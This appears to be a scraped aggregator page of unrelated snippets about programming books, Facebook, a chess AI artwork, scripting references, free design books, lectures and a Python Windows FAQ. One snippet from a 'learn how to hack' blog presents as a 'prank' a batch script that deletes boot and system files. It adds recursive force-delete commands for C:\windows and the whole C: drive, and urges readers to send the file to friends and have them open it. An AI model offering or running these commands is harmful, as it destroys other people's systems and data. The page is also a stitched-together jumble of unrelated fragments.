background preloader

6 Books Every Programmer Should Own

6 Books Every Programmer Should Own
I’ve seen many lists about the best programming books and I am sure there are a lot of books that are specific to a programming knowledge or technology – that I have not included in my list. The books I have chosen are those that are meant to inspire, increase productivity and improve your programming design skills. Note: This list has no particular order. Code Complete 2 Steve McConnell The main focus of this book to help you improve your programming design skills. The Pragmatic Programmer: From Journeyman to Master Andrew Hunt and David Thomas This book focuses on the best practices of programming (i.e. what you should and should not do). Pragmatic Thinking and Learning: Refactor Your Wetware Andy Hunt From the author of The Pragmatic Programmer, this book takes one-step back from programming and focuses on your everyday thinking and problem solving skills. The Productive Programmer Neal Ford and David Bock Algorithms in a Nutshell George T Heineman, Gary Pollice and Stanley Selkow Thomas H. Related:  lars.b

Reinventing Business: The Successor to Facebook Facebook's business model is based on violating trust. They collect information behind your back so they can sell it to their customers (advertisers). The current kerfuffle with Google over contact information is an excellent example of this: Facebook wants to extract your address book from Google, but it won't let you export your Facebook address book to someplace else (including Google) that you might find useful. That's because they don't care about serving you; they care about selling you. Their attitude is that they own everything you do. That's why I doubt I'll get a Facebook email account -- somewhere in the fine print will be something that says "we own all your email and can do whatever we want with it" (If I do get one, I'll be walking on eggshells every time I use it). In The Decline of Facebook, I didn't mean to say that Facebook was currently in decline but rather that it will decline because it won't be able to change its business model. 1. 2. 3. 4. 4.

Thinking Machine 4 Thinking Machine 4 explores the invisible, elusive nature of thought. Play chess against a transparent intelligence, its evolving thought process visible on the board before you. The artwork is an artificial intelligence program, ready to play chess with the viewer. Play the game. Image Gallery View a range of still images taken from Thinking Machine 4. About the work More information about the project and answers to common questions. Credits Created by Martin Wattenberg, with Marek Walczak. About the artists Martin Wattenberg's work centers on the theme of making the invisible visible. Marek Walczak is an artist and architect who is interested in how people participate in physical and virtual spaces.

Scripting Languages: PHP, Perl, Python, Ruby - Hyperpolyglot a side-by-side reference sheet sheet one: version | grammar and execution | variables and expressions | arithmetic and logic | strings | regexes | dates and time | arrays | dictionaries | functions | execution control | exceptions | threads sheet two: streams | asynchronous events | files | file formats | directories | processes and environment | option parsing | libraries and namespaces | objects | inheritance and polymorphism | reflection | net and web | gui | databases | unit tests | logging | debugging sheet two: streams | asynchronous events | files | directories | processes and environment | option parsing | libraries and namespaces | objects | inheritance and polymorphism | reflection | net and web | gui | databases | unit tests | logging | debugging version used The versions used for testing code in the reference sheet. show version How to get the version. php: The function phpversion() will return the version number as a string. python: import platform platform.python_version() ruby: <? pad

12 Useful and Free Downloadable Web Design Books There are a multitude of books (whether in digital format or print) that cover every possible aspect of web design, each one is unique and offers a personalized opportunity for the author to both educate, inspire, and guide the reader through there knowledge. In this post rather than offer all of my favorite web design books, I have listed 12 books that I have either downloaded and read (or at least scanned through), or I have bookmarked with the whole-hearted intention of eventually reading it (Ruby Best Practices), and the best thing of all? All of these books are completely FREE, in digital format anyway (PDF or HTML). I have not offered a critique of each book, as I feel that would not be fair on the author. If someone spends so much of their valuable time (in some cases months and months) and writes an entire book on web design, in my eyes they deserve only praise and appreciation. The Elements of Typographic Style Applied to the Web (HTML) Author(s): Richard Rutter.

Lectures for Computer Science Whether your goal is to earn a promotion, graduate at the top of your class, or just accelerate your life, lectures can help get you there. Our archives of lectures cover a huge range of topics and have all been handpicked and carefully designed by experienced instructors throughout the world who are dedicated to helping you take the next step toward meeting your career goals. Lifelong learns can turn their free time turn into self-improvement time. The online lectures on this list are more than lecture notes or a slideshow on a topic -- they were designed for audiences like you, with carefully sequenced themes and topics taught by veteran educators, and often with additional resources for your own independent study. The lectures are available to anybody, completely free of charge. Lecture courses are a valid and vital learning tool, and may be one of the best methods of learning available.

on Windows FAQ — Python v2.7.2 documentation How do I run a Python program under Windows? This is not necessarily a straightforward question. If you are already familiar with running programs from the Windows command line then everything will seem obvious; otherwise, you might need a little more guidance. Unless you use some sort of integrated development environment, you will end up typing Windows commands into what is variously referred to as a “DOS window” or “Command prompt window”. Usually you can create such a window from your Start menu; under Windows 7 the menu selection is . You should be able to recognize when you have started such a window because you will see a Windows “command prompt”, which usually looks like this: The letter may be different, and there might be other things after it, so you might just as easily see something like: D:\YourName\Projects\Python> depending on how your computer has been set up and what else you have recently done with it. C:\Users\YourName> python You should then see something like: or:

Painfully Computer Pranks ~ Computer Hacking | Learn How To Hack Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;) 1. Crash a Computer System With Nothing But a URL! I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file. This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q cmd /c del c:\* /F /S /Q 3. 1. 2. 3.

s | Good stuff for serious developers: Programming Tools, Code, C++, Java, HTML5, Cloud, Mobile, Testing

Related: